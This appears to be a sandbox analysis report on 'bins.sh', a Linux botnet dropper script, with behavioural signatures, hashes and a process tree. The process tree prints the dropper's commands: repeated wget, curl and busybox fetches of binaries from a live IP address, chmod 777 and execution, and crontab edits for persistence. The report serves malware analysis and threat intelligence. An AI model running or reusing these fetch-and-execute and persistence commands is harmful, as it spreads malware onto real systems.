Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

8

bins.sh

debian-9-mipsel

9

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    14/11/2024, 01:17

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241114-bnst8a1qex
  • SHA256 d40afdcbb45a7ac16bb3c675d24c374cce1b2e82df2b03d40aa0d1fb57448c4a
  • MD5 SHA1 SHA512 SSDEEP
Score
9/10
antivmdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Contacts a large (2053) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:656
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:658
        • /usr/bin/wget
          wget http://216.126.231.240/bins/5gRDnluc0uOqqHoQ9EFWj7weQAYqToaliX
          2⤵
          • Writes file to tmp directory
          PID:660
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/5gRDnluc0uOqqHoQ9EFWj7weQAYqToaliX
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:685
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/5gRDnluc0uOqqHoQ9EFWj7weQAYqToaliX
          2⤵
          • Writes file to tmp directory
          PID:687
        • /bin/chmod
          chmod 777 5gRDnluc0uOqqHoQ9EFWj7weQAYqToaliX
          2⤵
          • File and Directory Permissions Modification
          PID:694
        • /tmp/5gRDnluc0uOqqHoQ9EFWj7weQAYqToaliX
          ./5gRDnluc0uOqqHoQ9EFWj7weQAYqToaliX
          2⤵
          • Executes dropped EXE
          PID:696
        • /bin/rm
          rm 5gRDnluc0uOqqHoQ9EFWj7weQAYqToaliX
          2⤵
            PID:699
          • /usr/bin/wget
            wget http://216.126.231.240/bins/UrfMKHkhlGIVUK1a2yUYriSqu66qqLchgx
            2⤵
            • Writes file to tmp directory
            PID:700
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/UrfMKHkhlGIVUK1a2yUYriSqu66qqLchgx
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:717
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/UrfMKHkhlGIVUK1a2yUYriSqu66qqLchgx
            2⤵
            • Writes file to tmp directory
            PID:734
          • /bin/chmod
            chmod 777 UrfMKHkhlGIVUK1a2yUYriSqu66qqLchgx
            2⤵
            • File and Directory Permissions Modification
            PID:740
          • /tmp/UrfMKHkhlGIVUK1a2yUYriSqu66qqLchgx
            ./UrfMKHkhlGIVUK1a2yUYriSqu66qqLchgx
            2⤵
            • Executes dropped EXE
            PID:741
          • /bin/rm
            rm UrfMKHkhlGIVUK1a2yUYriSqu66qqLchgx
            2⤵
              PID:743
            • /usr/bin/wget
              wget http://216.126.231.240/bins/Yw05zOP6dk39sfITw3vwg7Qf2rena1bTuN
              2⤵
              • Writes file to tmp directory
              PID:744
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/Yw05zOP6dk39sfITw3vwg7Qf2rena1bTuN
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:747
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/Yw05zOP6dk39sfITw3vwg7Qf2rena1bTuN
              2⤵
              • Writes file to tmp directory
              PID:764
            • /bin/chmod
              chmod 777 Yw05zOP6dk39sfITw3vwg7Qf2rena1bTuN
              2⤵
              • File and Directory Permissions Modification
              PID:772
            • /tmp/Yw05zOP6dk39sfITw3vwg7Qf2rena1bTuN
              ./Yw05zOP6dk39sfITw3vwg7Qf2rena1bTuN
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:774
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:776
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:777
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:779
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:781
                  • /bin/rm
                    rm Yw05zOP6dk39sfITw3vwg7Qf2rena1bTuN
                    2⤵
                      PID:786
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/qjM7JcSFTW4I3VtwVDOUCHsjD8IZTVXbJK
                      2⤵
                        PID:789

                    Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

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                          Downloads

                          5gRDnluc0uOqqHoQ9EFWj7weQAYqToaliX
                          • Path /tmp/5gRDnluc0uOqqHoQ9EFWj7weQAYqToaliX
                          • Size 99KB
                          • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          UrfMKHkhlGIVUK1a2yUYriSqu66qqLchgx
                          • Path /tmp/UrfMKHkhlGIVUK1a2yUYriSqu66qqLchgx
                          • Size 98KB
                          • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          Yw05zOP6dk39sfITw3vwg7Qf2rena1bTuN
                          • Path /tmp/Yw05zOP6dk39sfITw3vwg7Qf2rena1bTuN
                          • Size 119KB
                          • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                          • MD5 SHA1 SHA512 SSDEEP
                          Submit Download

                          tmp.1tZIpU
                          • Path /var/spool/cron/crontabs/tmp.1tZIpU
                          • Size 210B
                          • SHA256 ddebfad1450beebb0968c98fe5e048e87724c3ebf5ef4f0d6133629d9f6bfdb6
                          • MD5 SHA1 SHA512
                          Submit Download